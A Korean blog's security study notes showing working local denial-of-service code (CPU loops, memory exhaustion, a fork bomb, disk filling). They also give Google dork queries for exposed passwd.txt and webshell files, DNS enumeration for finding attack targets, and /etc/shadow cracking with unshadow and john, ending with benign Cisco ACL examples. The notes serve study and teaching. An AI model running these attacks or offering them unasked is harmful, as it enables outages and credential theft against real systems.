Security/네트워크 보안

정보보안 스터디 - 12주차 5일 - 서버 정보 수집 도구

wonder12 2023. 1. 2. 23:24

 

 

☞ 로컬 시스템 부하 공격

 

스크립트, c, python 코드를 이용해서

부하를 일으키는 실행파일을 만들 수 있습니다.

 

CPU 부하 공격

vi test1.sh
START=0
END=1000000000000000000
while [ $START -le $END ]
do
         START=`expr $START + 1`
done
실행 ./test1.sh

 

test2.sh
while true
do
         a=1
done

while반복문을 이용한 공격입니다.

 

test3.sh
./test1.sh &
sleep 10
 
./test1.sh &
sleep 10

./test1.sh &
sleep 10

./test1.sh &
sleep 3600
trap 2 3

10초 후 부하가 쌓이는 공격입니다.

 

 

메모리 부하 공격

vi mem.c
#include<stdio.h>
#include<stdlib.h>

main()
{
        char *m;
        while (1)
                m=malloc(1);
}
gcc -o mem mem.c 
watch free
./mem.c

 

프로세스 자원 고갈

vi proc.c
#include <stdio.h>
#include <unistd.h>

main()
{
while(1)
fork();
}
gcc -o proc proc.c
./proc

 

 

디스크 용량 초과 공격 

vi disk.c
#include <unistd.h>
#include <sys/file.h>

main()
{
int attack;
char buf[10000];
attack = creat("/test/testfile",0777);
while(1)
write(attack,buf,sizeof(buf));
}
gcc -o disk disk.c
./proc

watch df -h 또는 free또는 gnome-system-monitor로 실시간으로 부하상태를 확인합니다.

 

 

 

 

 GHDB 

구글 검색은 정보 수집하기에 좋습니다.

 

디렉토리 리스팅

일어나는 이유는 디렉토리 리스팅이 기본적으로 되도록 설정되어있는데

첫번째로는 index.html을 설정하지 않아서 디렉토리 경로가 노출되는 것입니다. 

두번째로는 디렉토리 리스팅 비허용 설정을 하지 않았기 때문입니다.

 

 

site: 사이트 내에서 검색합니다.
inurl: ac, kr 등 주소에 포함되야하는 부분입니다. 
intitle: index of 등 디렉토리 리스팅을 유도하는 검색입니다.
intext: 글 내용안에 포함될 내용입니다..
filetype: pdf, jpg 등 파일 타입을 지정하여 가져옵니다.

 

 

EX)
intitle:"index of" "uploads"
intitle:"index of" "이미지"
intitle:"index of" intext:"webshell.php" 
intitle:"index of" filetype:pdf
intitle:"index of" inurl:ac
intitle:"index of" intext:이력서
intitle:index.of intext:passwd.txt
index.of "Parent Directory"

 

 

등이 있습니다.

 

 

 

exploit-db 에서 구글 디렉토리 리스팅 관련 취약점(키워드)를 확인할 수 있습니다. 

 

 

구글 검색으로 인해 웹서버 정보를 수집할 수 있습니다.

디렉토리 리스팅이 되는 서버는 취약한 서버이기 때문에

ftp서버, telnet서버, mysql 서버 등 다른 서버를 dnsenum으로 검색하여 공격할 수 도 있습니다.

 

 

 

 도메인의 ip주소를 확인하는 명령어

nslookup netflix.com
또는 역방향
host netflix.com

dig netflix.com
더 상세 하게 나옵니다. 
dnsenum netflix.com
dns서버의 도메인(ns), 메일서버가 나오고, 역방향, 네트워크대역이  결과로 나옵니다.
그 외로도 브루트 포스를 이용하여 ftp.netflix.com, admin.netflix.com 등 호스트부분을 찾습니다. = 즉 다른 서버를 찾아 공격할 수 있습니다.

 

 

 

 

 maltego

원래 같았으면 여러 분석 사이트를 검색해보면서 웹사이트에 대해 분석을 해야겠지만

말테고를 이용하면 

Domain -> ns(DNS서버 확인) -> dns서버 ip확인 -> 네트워크 대역 netblock 확인 -> isp업체에서 지정한 AS번호 확인, 국가확인 -> 제공업체 확인

Domain -> mx(메일서버확인) -> ip -> netblock -> AS,국가 -> 제공업체

 

Domain -> 관련 Web웹사이트 확인 -> ip -> netblock -> AS,국가 -> 제공업체

Domain -> Email -> person, phone 등

 

IP 주소, 넷블럭을 이용해서도 트리형식으로 분석이 가능합니다.

 

 

 

 

 패스워드 크랙킹

 

john

존더리퍼(john the reaper) 사전파일을 이용해 대입합니다.

 

johnny 존더리퍼 그래픽 기반입니다.

 

 

xhydra 히드라 그래픽 기반입니다.

ftp, telnet 등 정할 수 있고

직접만든 .lst 사전파일 선택이 가능합니다.

피해자와 관련된 사전을 만들어 대입하는 것도 시간 축소에 효과적입니다.

 

 

 

/etc/shadow 비밀번호 크랙킹 방법

cat /etc/passwd
cat /etc/shadow 확인했을 때 암호화 방식을 확인합니다.
unshadow /etc/passwd /etc/shadow user1> pw1.txt
user1에 대해서 파일을 만듭니다.
john pw1.txt --format=crypt
암호화된 해시값임에도 존 사전대입으로 알아냅니다. 
sha512가 아닌 $y이기 때문에 포맷은 crypt입니다.

 

 

 

 

 

 

 

 

 네트워크

 

standard ACL

ex) ’13.13.10.0/24’ 사용자들이 ‘172.16.1.1’ 서버에 접근하는 것을 차단하고 나머지는 허용한다.

access-list 10 deny 13.13.10.0 0.0.0.255 host 172.16.1.1
access-list 10 permit any

int f0/1
ip access-group 10 out
show ip access-list

그냥 막습니다. 

번호는 1~99번입니다.

 

named ACL은 부분 추가 및 삭제가 가능합니다.

ip access-list standard 10
15 deny 13.13.20.0 0.0.0.255

 

 

 

extended ACL

프로토콜, 포트를 직접 정해서 차단,허용할 수 있습니다.

번호는 100~199번입니다.

 

 

access-list 100 deny tcp host 13.13.10.1 host 172.16.1.1 eq 80
웹서버 포트에 대해서만 차단합니다.
access-list 100 permit ip any any


int f0/1
ip access-group 10 out